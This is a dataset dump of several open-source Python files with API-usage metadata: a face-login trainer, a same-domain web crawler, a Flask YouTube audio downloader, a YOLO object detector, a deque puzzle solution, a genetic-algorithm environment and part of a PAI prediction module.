"logging.getLogger", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path", "line_number": 152, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 153, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 154, "usage_type": "attribute"}, {"api_name": "anacore.annotVcf.AnnotVCFIO", "line_number": 158, "usage_type": "call"}, {"api_name": "anacore.annotVcf.AnnotVCFIO", "line_number": 159, "usage_type": "call"}, {"api_name": "anacore.vcf.VCFIO", "line_number": 163, "usage_type": "call"}, {"api_name": "anacore.vcf.getAlleleRecord", "line_number": 176, "usage_type": "call"}]} +{"seq_id": "6213092614", "text": "from os import listdir\nfrom os.path import isdir\nfrom numpy import load\nfrom numpy import savez_compressed\nfrom numpy import asarray\nfrom PIL import Image, ImageFilter\n\nimport numpy as np\nimport face_recognition\nimport cv2\n\nimport os\nimport shutil\nimport time\n\n\n\nif __name__ == \"__main__\":\n #새로 TRAIN할 사람 이름 입력\n input_name = input()\n #파일 로딩\n embeddings = load('face_embeddings.npy')\n labels = load('face_labels.npy')\n\n #시작 시간 저장\n start = time.time()\n #카메라 켜고, 화면 크기 설정하기\n capture = cv2.VideoCapture(0)\n capture.set(cv2.CAP_PROP_FRAME_WIDTH, 1280)\n capture.set(cv2.CAP_PROP_FRAME_HEIGHT, 720)\n #저장한 횟수 세는 변수\n count = 0\n\n while True:\n #이미지 읽어오기\n success, image = capture.read()\n #이미지 대칭\n image = cv2.flip(image, 1)\n #얼굴 부분\n face_image = image[100:400, 500:780]\n #rgb 순서로 바꾸기\n rgb_face_image = face_image[:, :, ::-1] # X, Y, channel(R,G,B)\n #얼굴 위치 받아오기\n face_locations = face_recognition.face_locations(rgb_face_image)\n\n #Face detection success\n if face_locations:\n face_encodings = face_recognition.face_encodings(rgb_face_image, face_locations)\n\n if len(face_encodings) == 1 :\n feature = np.array(face_encodings[0])\n \n embeddings = np.append(embeddings, [feature], axis = 0)\n labels = np.append(labels, input_name)\n count += 1\n\n cv2.rectangle(image, (480,90), (800,410), (0,255,0), 3)\n else :\n cv2.rectangle(image, (480,90), (800,410), (0,0,255), 3)\n \n cv2.imshow('LOG_IN', image)\n \n #_check_usage_of_cpu_and_memory()\n\n if cv2.waitKey(1) == 27 or count > 50 : break\n \n if count > 19 : break\n \n \n capture.release()\n cv2.destroyAllWindows()\n\n # Closes the connection\n print(time.time()-start)\n \n np.save('face_embeddings.npy', embeddings)\n np.save('face_labels.npy', labels)", "repo_name": "yu1012/Face-Login", "sub_path": "local_demo/train_real_time.py", "file_name": "train_real_time.py", "file_ext": "py", "file_size_in_byte": 2146, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.load", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 23, "usage_type": "call"}, {"api_name": "time.time", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FRAME_WIDTH", "line_number": 29, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_HEIGHT", "line_number": 30, "usage_type": "attribute"}, {"api_name": "cv2.flip", "line_number": 38, "usage_type": "call"}, {"api_name": "face_recognition.face_locations", "line_number": 44, "usage_type": "call"}, {"api_name": "face_recognition.face_encodings", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 54, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 57, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 59, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 61, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 65, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 71, "usage_type": "call"}, {"api_name": "time.time", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 77, "usage_type": "call"}]} +{"seq_id": "71596551325", "text": "import requests\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nfrom bs4 import BeautifulSoup\nimport queue\nimport threading\nimport argparse\n\nclass discoveryWebCrawlerClass():\n\n\tdef __init__(self,domain,level):\n\t\tself.domain = domain\n\t\tself.q = queue.Queue()\n\t\tself.urls = []\n\t\tself.levelsToCrawl = level\n\n\tdef crawlURL(self,crawlUrl,currentLevel):\n\t\ts = requests.Session()\n\t\tr = s.get(crawlUrl,verify=False,timeout=10)\n\t\tsoup = BeautifulSoup(r.content,'html.parser') \n\t\tlinks = soup.find_all('a')\n\t\tfor url in links:\n\t\t\ttry:\n\t\t\t\turl = url.get('href')\n\t\t\t\t# some href values dont have a full url. They look somthing like : /login.php\n\t\t\t\tif url[0] == '/':\n\t\t\t\t\turl = self.domain + url\n\t\t\t\t# check to see if link matches crawl domain \n\t\t\t\tif url.split(\"/\")[2] == self.domain.split('/')[2] and url not in self.urls:\n\t\t\t\t\tself.urls.append(url)\n\t\t\t\t\t#insert into queue update crawl level\n\t\t\t\t\tif currentLevel+1 < self.levelsToCrawl:\n\t\t\t\t\t\tself.q.put({'url':url,'level':currentLevel +1})\n\t\t\texcept Exception as e:\n\t\t\t\tpass\n\n\tdef worker(self):\n\t\twhile 1:\n\t\t\tcrawlUrlDict = self.q.get()\n\t\t\tself.crawlURL(crawlUrlDict['url'],crawlUrlDict['level'])\n\t\t\tself.q.task_done()\n\n\tdef start(self):\n\t\tself.q.put({'url':self.domain,'level':0})\n\t\tfor i in range(0,100):\n\t\t\tt = threading.Thread(target=self.worker)\n\t\t\tt.daemon = True\n\t\t\tt.start()\n\t\tself.q.join()\n\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-d\",\"--domain\", help=\"Domain Name; EX: https://test.com\")\nparser.add_argument(\"-l\",\"--level\", help=\"Levels deep to crawl. EX: 2\")\nargs = parser.parse_args()\n\nif args.domain and args.level:\n\twebcrawler = discoveryWebCrawlerClass(args.domain,int(args.level))\n\twebcrawler.start()\n\tfor i in range(0,len(webcrawler.urls)):\n\t\tprint(\"{0}\\t{1}\".format(i,webcrawler.urls[i]))\n", "repo_name": "ghostlulzhacks/crawler", "sub_path": "crawler.py", "file_name": "crawler.py", "file_ext": "py", "file_size_in_byte": 1859, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 50, "dataset": "github-code", "pt": "86", "api": [{"api_name": "requests.packages.urllib3.disable_warnings", "line_number": 3, "usage_type": "call"}, {"api_name": "requests.packages.urllib3.exceptions.InsecureRequestWarning", "line_number": 3, "usage_type": "argument"}, {"api_name": "requests.packages", "line_number": 3, "usage_type": "attribute"}, {"api_name": "queue.Queue", "line_number": 14, "usage_type": "call"}, {"api_name": "requests.Session", "line_number": 19, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 21, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 47, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 54, "usage_type": "call"}]} +{"seq_id": "39884535511", "text": "import pafy\r\n\r\n\r\ndef roundoff(x):\r\n if x> 1073741824:\r\n y = round(x/1073741824, 1)\r\n return str(y) + 'GB'\r\n elif x > 1048576:\r\n y = round(x/1048576, 1)\r\n return str(y) + \"MB\"\r\n elif x > 1024:\r\n y = round(x/1024, 1)\r\n return str(y) + \"KB\"\r\n\r\n\r\n\r\ndef get_audio(url):\r\n video = pafy.new(url)\r\n title = video.allstreams\r\n title = title[1]\r\n title = title.title\r\n audiostreams = video.audiostreams\r\n bitrates =[]\r\n extensions =[]\r\n file_sizes =[]\r\n AS = []\r\n for i in audiostreams:\r\n bitrates.append(i.bitrate)\r\n extensions.append(i.extension)\r\n file_sizes.append(roundoff(i.get_filesize()))\r\n\r\n return bitrates, extensions, file_sizes, title, audiostreams\r\n\r\n\r\ndef get_idx(itag):\r\n url = session['link']\r\n audio = get_audio(url)[1]\r\n for index, size in enumerate(audio):\r\n if size == itag:\r\n return index\r\n\r\n\r\ndef modified_name(name):\r\n paths = name.split('\\\\')\r\n del paths[-2]\r\n path = '\\\\'.join(paths)\r\n return path\r\n\r\n\r\n\r\nfrom flask import Flask, render_template, request, url_for, session\r\n\r\n# This is my home page\r\napp = Flask(__name__)\r\napp.config['SECRET_KEY'] = \"your_secret_key\"\r\n\r\n@app.route('/', methods = [\"GET\", \"POST\"])\r\ndef home():\r\n if request.method == 'POST':\r\n session['link'] = request.form.get(\"url\")\r\n try:\r\n audio = get_audio(session['link'])\r\n except:\r\n return render_template('error.html')\r\n return render_template('download_page.html',audio = audio)\r\n\r\n return render_template('index.html')\r\n\r\n#this page will give you the download options\r\n\r\n\r\n\r\nfrom flask import redirect, send_file\r\nfrom io import BytesIO\r\n\r\n@app.route(\"/download\", methods = [\"GET\", \"POST\"])\r\ndef download_video():\r\n if request.method == \"POST\":\r\n url = session['link']\r\n aud = get_audio(url)[4]\r\n itag = request.form.get(\"itag\")\r\n itag = get_idx(itag)\r\n file = aud[itag]\r\n #ext = get_audio(url)[1][itag]\r\n name = file.filename\r\n file = file.download()\r\n return send_file(modified_name, as_attachment=True,download_name = name , mimetype = 'audio/mp3')\r\n return redirect(url_for(\"home\"))\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(debug = True)\r\n\r\n\r\n\r\n\r\n\r\n", "repo_name": "shubhendu-ghosh-DS/youtube-audio-download", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 2326, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pafy.new", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 54, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 59, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 59, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 60, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 60, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 60, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 60, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 62, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 78, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 78, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 79, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 81, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 81, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 81, "usage_type": "name"}, {"api_name": "flask.send_file", "line_number": 87, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 88, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 88, "usage_type": "call"}]} +{"seq_id": "13931014661", "text": "'''\nCREDITS: This code is copied & then modified from:\nOriginal Author: Adrian Rosebrock\nBlog: YOLO Object Detection with OpenCV\nURL: https://www.pyimagesearch.com/2018/11/12/yolo-object-detection-with-opencv/\n'''\n\n\nimport os\nimport sys\nimport logging\nimport time\nimport random\nimport string\n\nimport cv2\nimport imutils\nimport numpy as np\nimport face_recognition\n\ncurrdir = os.path.dirname(__file__)\nsys.path.append(os.path.join(currdir,\"..\", \"..\"))\nsys.path.append(os.path.join(currdir,\"..\"))\n\nfrom common.kafka_client import KafkaCli\nfrom common.appcommon import init_logger, save_image_data_to_jpg, ensure_dir_path\n\nfrom common.kafka_base_consumer import KafkaStreamingConsumer\n\n\nOUTDIR = \"/usr/app/out/ObjectDetector\"\n\nclass ObjectDetector(KafkaStreamingConsumer):\n def __init__(self):\n self.confidence = float(os.environ.get(\"CONFIDENCE\", 0.5))\n self.threshold = float(os.environ.get(\"THRESHOLD\", 0.3))\n super().__init__()\n\n\n def _get_frame_from_imagedata(self, imagedata):\n tempjpg = save_image_data_to_jpg(imagedata, \"/usr/app/temp\") #todo: remove hardcoded path\n frame = face_recognition.load_image_file(tempjpg) #todo: should read from in-memory stream- rather than temp file\n os.remove(tempjpg)\n return frame \n\n\n def detect_objects(self, image): \n '''\n returns identified objects as \"labels\" and the \"annotated image\"\n ret val: (lavels, image)\n '''\n\n # load the COCO class labels our YOLO model was trained on\n labelsPath = os.path.join(currdir, \"coco.names\")\n LABELS = open(labelsPath).read().strip().split(\"\\n\")\n\n # initialize a list of colors to represent each possible class label\n np.random.seed(42)\n COLORS = np.random.randint(0, 255, size=(len(LABELS), 3), dtype=\"uint8\")\n\n # derive the paths to the YOLO weights and model configuration\n weightsPath = os.path.join(currdir, \"yolov3.weights\")\n configPath = os.path.join(currdir, \"yolov3.cfg\")\n\n # load our YOLO object detector trained on COCO dataset (80 classes)\n # and determine only the *output* layer names that we need from YOLO\n logger.info(\"loading YOLO from disk...\")\n net = cv2.dnn.readNetFromDarknet(configPath, weightsPath)\n\n # load our input image and grab its spatial dimensions\n (H, W) = image.shape[:2]\n\n # determine only the *output* layer names that we need from YOLO\n ln = net.getLayerNames()\n ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]\n\n\n # construct a blob from the input image and then perform a forward\n # pass of the YOLO object detector, giving us our bounding boxes and\n # associated probabilities\n blob = cv2.dnn.blobFromImage(image, 1 / 255.0, (416, 416),\tswapRB=True, crop=False)\n net.setInput(blob)\n start = time.time()\n layerOutputs = net.forward(ln)\n end = time.time()\n\n # show timing information on YOLO\n logger.info(\"YOLO took {:.6f} seconds\".format(end - start))\n\n # initialize our lists of detected bounding boxes, confidences, and\n # class IDs, respectively\n boxes = []\n confidences = []\n classIDs = []\n\n\n # loop over each of the layer outputs\n for output in layerOutputs:\n # loop over each of the detections\n for detection in output:\n # extract the class ID and confidence (i.e., probability) of\n # the current object detection\n scores = detection[5:]\n classID = np.argmax(scores)\n confidence = scores[classID]\n\n # filter out weak predictions by ensuring the detected\n # probability is greater than the minimum probability\n if confidence > self.confidence:\n # scale the bounding box coordinates back relative to the\n # size of the image, keeping in mind that YOLO actually\n # returns the center (x, y)-coordinates of the bounding\n # box followed by the boxes' width and height\n box = detection[0:4] * np.array([W, H, W, H])\n (centerX, centerY, width, height) = box.astype(\"int\")\n\n # use the center (x, y)-coordinates to derive the top and\n # and left corner of the bounding box\n x = int(centerX - (width / 2))\n y = int(centerY - (height / 2))\n\n # update our list of bounding box coordinates, confidences,\n # and class IDs\n boxes.append([x, y, int(width), int(height)])\n confidences.append(float(confidence))\n classIDs.append(classID)\n\n \n # apply non-maxima suppression to suppress weak, overlapping bounding boxes\n idxs = cv2.dnn.NMSBoxes(boxes, confidences, self.confidence, self.threshold)\n \n # ensure at least one detection exists\n identified_objects = []\n if len(idxs) > 0:\n # loop over the indexes we are keeping\n for i in idxs.flatten():\n # extract the bounding box coordinates\n (x, y) = (boxes[i][0], boxes[i][1])\n (w, h) = (boxes[i][2], boxes[i][3])\n\n # draw a bounding box rectangle and label on the image\n color = [int(c) for c in COLORS[classIDs[i]]]\n cv2.rectangle(image, (x, y), (x + w, y + h), color, 2)\n text = \"{}: {:.4f}\".format(LABELS[classIDs[i]], confidences[i])\n identified_objects.append(text)\n cv2.putText(image, text, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX,\n 0.5, color, 2)\n logger.debug(f\"text: {text}\") \n\n \n return identified_objects, image\n\n\n def handle_msg(self, msg): \n frame = self._get_frame_from_imagedata(msg.raw_frame.image_bytes)\n objects, anotated_image = self.detect_objects(frame)\n \n if objects:\n # write annotated frame to jpg file\n fname = f\"{self._frameid}.jpg\"\n outdir = os.path.join(OUTDIR, msg.raw_frame.movie_filename)\n ensure_dir_path(outdir)\n cv2.imwrite(os.path.join(outdir, fname), anotated_image)\n\n # update the kafka message\n msg.objects.extend(objects)\n yield (True, msg) # forward the same frame for further processing, if the motion is detected\n\n\ndef test_for_object_detector():\n '''\n test the object detector by isolating it from Kafka\n '''\n KafkaStreamingConsumer.__init__ = lambda x: None\n detector = ObjectDetector()\n detector.handle_msg = lambda s,msg: (True, None) \n \n image = cv2.imread(os.path.join(currdir, \"testimage.jpg\"))\n newimage = detector.detect_objects(image)\n cv2.imwrite(r\"yolo.jpg\", newimage)\n\n\n\nif __name__== \"__main__\":\n logger = init_logger(__file__)\n logger.debug(\"------------start: inside object-detector...----------------------------\")\n ensure_dir_path(OUTDIR)\n ObjectDetector()", "repo_name": "manojphatak/Video-Analytics", "sub_path": "cctv_surveillance/services/object_detector/object_detector.py", "file_name": "object_detector.py", "file_ext": "py", "file_size_in_byte": 7164, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "os.path.dirname", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 22, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 23, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "common.kafka_base_consumer.KafkaStreamingConsumer", "line_number": 33, "usage_type": "name"}, {"api_name": "os.environ.get", "line_number": 35, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 35, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 36, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 36, "usage_type": "attribute"}, {"api_name": "common.appcommon.save_image_data_to_jpg", "line_number": 41, "usage_type": "call"}, {"api_name": "face_recognition.load_image_file", "line_number": 42, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 58, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 59, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "cv2.dnn.readNetFromDarknet", "line_number": 68, "usage_type": "call"}, {"api_name": "cv2.dnn", "line_number": 68, "usage_type": "attribute"}, {"api_name": "cv2.dnn.blobFromImage", "line_number": 81, "usage_type": "call"}, {"api_name": "cv2.dnn", "line_number": 81, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 83, "usage_type": "call"}, {"api_name": "time.time", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 114, "usage_type": "call"}, {"api_name": "cv2.dnn.NMSBoxes", "line_number": 130, "usage_type": "call"}, {"api_name": "cv2.dnn", "line_number": 130, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 143, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 146, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 146, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 161, "usage_type": "call"}, {"api_name": "os.path", "line_number": 161, "usage_type": "attribute"}, {"api_name": "common.appcommon.ensure_dir_path", "line_number": 162, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 163, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 163, "usage_type": "call"}, {"api_name": "os.path", "line_number": 163, "usage_type": "attribute"}, {"api_name": "common.kafka_base_consumer.KafkaStreamingConsumer.__init__", "line_number": 174, "usage_type": "attribute"}, {"api_name": "common.kafka_base_consumer.KafkaStreamingConsumer", "line_number": 174, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 178, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 178, "usage_type": "call"}, {"api_name": "os.path", "line_number": 178, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 180, "usage_type": "call"}, {"api_name": "common.appcommon.init_logger", "line_number": 185, "usage_type": "call"}, {"api_name": "common.appcommon.ensure_dir_path", "line_number": 187, "usage_type": "call"}]} +{"seq_id": "35950738578", "text": "from sys import stdin\nfrom collections import deque\n\ndef R():\n global isreverse\n isreverse = not isreverse\n\n\ndef D():\n if isreverse:\n nums.pop()\n else:\n nums.popleft()\n\nFUNC = {'R': R, 'D': D}\n\nT = int(stdin.readline())\nfor i in range(T):\n p = stdin.readline().rstrip()\n n = int(stdin.readline())\n nums = deque(eval(stdin.readline()))\n isreverse = False\n\n try:\n for f in p:\n FUNC[f]()\n except:\n print('error')\n continue\n\n if isreverse:\n nums.reverse()\n\n print(str(list(nums)).replace(' ', ''))\n \n", "repo_name": "koreakk/Online-Judge", "sub_path": "boj/Level 3/Level 3-1/5430. Integer Lists/Python.py", "file_name": "Python.py", "file_ext": "py", "file_size_in_byte": 588, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sys.stdin.readline", "line_number": 17, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 17, "usage_type": "name"}, {"api_name": "sys.stdin.readline", "line_number": 19, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 19, "usage_type": "name"}, {"api_name": "sys.stdin.readline", "line_number": 20, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 20, "usage_type": "name"}, {"api_name": "collections.deque", "line_number": 21, "usage_type": "call"}, {"api_name": "sys.stdin.readline", "line_number": 21, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 21, "usage_type": "name"}]} +{"seq_id": "2024006776", "text": "from results import Results\nimport logging\nimport os\nenv_logger = logging.getLogger('genetica.Environment')\n\nclass CommonEnvironment(object):\n \"\"\"\n Defines all necessary attributes and methods to support the algorithm without actual implementation of the algorithm.\n \n step() defines the actual algorithm which is performed at each generation\n \"\"\"\n def __init__(self, name=None, objectives=None, var_ranges=None, settings=None, Individual=None, Population=None, fitness=None):\n env_logger.info('Creating CommonEnvironment instance\\nname: %s' % (name))\n self.name = name\n self.objectives = objectives\n self.num_objectives = len(objectives)\n self.var_ranges = var_ranges\n self.size = settings['size'] \n self.maxgenerations = settings['maximum generations']\n self.crossover_rate = settings['crossover rate']\n self.mutation_rate = settings['mutation rate']\n self.num_cycles = settings['number GA cycles'] # number of GA repetitions\n self.Individual = Individual\n self.Population = Population\n self.fitness = fitness\n self.best_individuals = []\n self.num_generations = []\n self.times = []\n self.results = []\n self.generation = 0\n\n def initialize_population(self):\n self.population = self.Population(self.Individual, self.size, self.crossover_rate, self.mutation_rate, self.var_ranges, self.objectives)\n self.fitness.calculation(self.population.individuals) #fitness function calculation for 0 generation\n ##self.population.assign_ranks()\n self.population.collect_statistics() # averaging\n self.save() # write data to logfiles\n\n \n def run(self):\n for i in range(self.num_cycles):\n env_logger.info('Running %i GA cycle' % i)\n self.results.append(Results())\n self.run_cycle()\n self.fitness.close() # master sends signal to slaves that work is done\n\n def run_cycle(self):\n self.generation = 0\n self.initialize_population()\n while not self.too_many_generations():\n self.step() # single GA iteration\n\n def too_many_generations(self):\n return self.generation > self.maxgenerations\n \n def step(self): # algorithm itself\n \"\"\"\n General algorithm (can be changed)\n Selection, crossover mutation to produce new generation\n Calculation of fitness scores for new generation\n Averaging\n Report\n \"\"\"\n pass\n\n def save(self): # this is done each generation\n \"\"\"\n results = {'best': self.population.best(),\n 'gen': self.generation,\n 'deviations': self.population.deviations,\n 'averages': self.population.averages,\n 'time': self.population.time,\n 'individuals': self.population.individuals,\n }\n self.results[-1].report(results)\n \"\"\"\n self.dump_to_file()\n\n def dump_to_file(self):\n s = ''\n for key in self.population.individuals[0].chromosome.keys():\n s += '%s ' % key\n for key in self.population.individuals[0].objectives.keys():\n s += '%s ' % key\n s += '\\n'\n for individ in self.population.individuals:\n for key, value in individ.chromosome.items():\n s += '%.10f ' % value\n for key, value in individ.objectives.items():\n s += '%.10f ' % value\n s += '\\n'\n if not os.path.exists('./output'):\n os.system('mkdir ./output')\n if not os.path.exists('./output/%s' % self.name):\n os.system('mkdir ./output/%s' % self.name)\n file = open('./output/%s/%03i.log' % (self.name, self.generation), 'w')\n file.write(s)\n file.close()\n\n\n", "repo_name": "maxivanoff/genetica", "sub_path": "common/Environment.py", "file_name": "Environment.py", "file_ext": "py", "file_size_in_byte": 3862, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "logging.getLogger", "line_number": 4, "usage_type": "call"}, {"api_name": "results.Results", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path", "line_number": 94, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 95, "usage_type": "call"}]} +{"seq_id": "23267776055", "text": "import os\nimport tempfile\n\nfrom runtime import db\nfrom runtime.diagnostics import SQLFlowDiagnostic\nfrom runtime.model import EstimatorType\nfrom runtime.pai import cluster_conf, pai_model, table_ops\nfrom runtime.pai.create_result_table import create_predict_result_table\nfrom runtime.pai.get_pai_tf_cmd import (ENTRY_FILE, JOB_ARCHIVE_FILE,\n PARAMS_FILE, get_pai_tf_cmd)\nfrom runtime.pai.prepare_archive import prepare_archive\nfrom runtime.pai.submit_pai_task import submit_pai_task\n\n\ndef get_pai_predict_cmd(datasource, project, oss_model_path, model_name,\n predict_table, result_table, model_type, model_params,\n job_file, params_file, cwd):\n \"\"\"Get predict command for PAI task\n\n Args:\n datasource: current datasource\n project: current project\n oss_model_path: the place to load model\n model_name: model used to do prediction\n predict_table: where to store the tmp prediction data set\n result_table: prediction result\n model_type: type of th model, see also get_oss_saved_model_type\n model_params: parameters specified by WITH clause\n job_file: tar file incldue code and libs to execute on PAI\n params_file: extra params file\n cwd: current working dir\n\n Returns:\n The command to submit PAI prediction task\n \"\"\"\n # NOTE(typhoonzero): for PAI machine learning toolkit predicting, we can\n # not load the TrainStmt since the model saving is fully done by PAI.\n # We directly use the columns in SELECT statement for prediction, error\n # will be reported by PAI job if the columns not match.\n conf = cluster_conf.get_cluster_config(model_params)\n conn = db.connect_with_data_source(datasource)\n if model_type == EstimatorType.PAIML:\n schema = db.get_table_schema(conn, predict_table)\n result_fields = [col[0] for col in schema]\n return ('''pai -name prediction -DmodelName=\"%s\" '''\n '''-DinputTableName=\"%s\" -DoutputTableName=\"%s\" '''\n '''-DfeatureColNames=\"%s\" -DappendColNames=\"%s\"''') % (\n model_name, predict_table, result_table,\n \",\".join(result_fields), \",\".join(result_fields))\n else:\n schema = db.get_table_schema(conn, result_table)\n result_fields = [col[0] for col in schema]\n # For TensorFlow and XGBoost, we build a pai-tf cmd to submit the task\n return get_pai_tf_cmd(conf, job_file, params_file, ENTRY_FILE,\n model_name, oss_model_path, predict_table, \"\",\n result_table, project)\n\n\ndef setup_predict_entry(params, model_type):\n \"\"\"Setup PAI prediction entry function according to model type\"\"\"\n if model_type == EstimatorType.TENSORFLOW:\n params[\"entry_type\"] = \"predict_tf\"\n elif model_type == EstimatorType.PAIML:\n params[\"entry_type\"] = \"predict_paiml\"\n elif model_type == EstimatorType.XGBOOST:\n params[\"entry_type\"] = \"predict_xgb\"\n else:\n raise SQLFlowDiagnostic(\"unsupported model type: %d\" % model_type)\n\n\ndef submit_pai_predict(datasource,\n select,\n result_table,\n label_column,\n model_name,\n model_params,\n user=\"\"):\n \"\"\"This function pack needed params and resource to a tarball\n and submit a prediction task to PAI\n\n Args:\n datasource: current datasource\n select: sql statement to get prediction data set\n result_table: the table name to save result\n label_column: name of the label column, if not exist in select\n model_name: model used to do prediction\n model_params: dict, Params for training, crossponding to WITH clause\n \"\"\"\n params = dict(locals())\n\n cwd = tempfile.mkdtemp(prefix=\"sqlflow\", dir=\"/tmp\")\n # TODO(typhoonzero): Do **NOT** create tmp table when the select statement\n # is like: \"SELECT fields,... FROM table\"\n data_table = table_ops.create_tmp_table_from_select(select, datasource)\n params[\"data_table\"] = data_table\n\n # format resultTable name to \"db.table\" to let the codegen form a\n # submitting argument of format \"odps://project/tables/table_name\"\n project = table_ops.get_project(datasource)\n if result_table.count(\".\") == 0:\n result_table = \"%s.%s\" % (project, result_table)\n\n oss_model_path = pai_model.get_oss_model_save_path(datasource,\n model_name,\n user=user)\n params[\"oss_model_path\"] = oss_model_path\n model_type, estimator = pai_model.get_oss_saved_model_type_and_estimator(\n oss_model_path, project)\n setup_predict_entry(params, model_type)\n\n # (TODO:lhw) get train label column from model meta\n create_predict_result_table(datasource, data_table, result_table,\n label_column, None, model_type)\n\n prepare_archive(cwd, estimator, oss_model_path, params)\n\n cmd = get_pai_predict_cmd(datasource, project, oss_model_path, model_name,\n data_table, result_table, model_type,\n 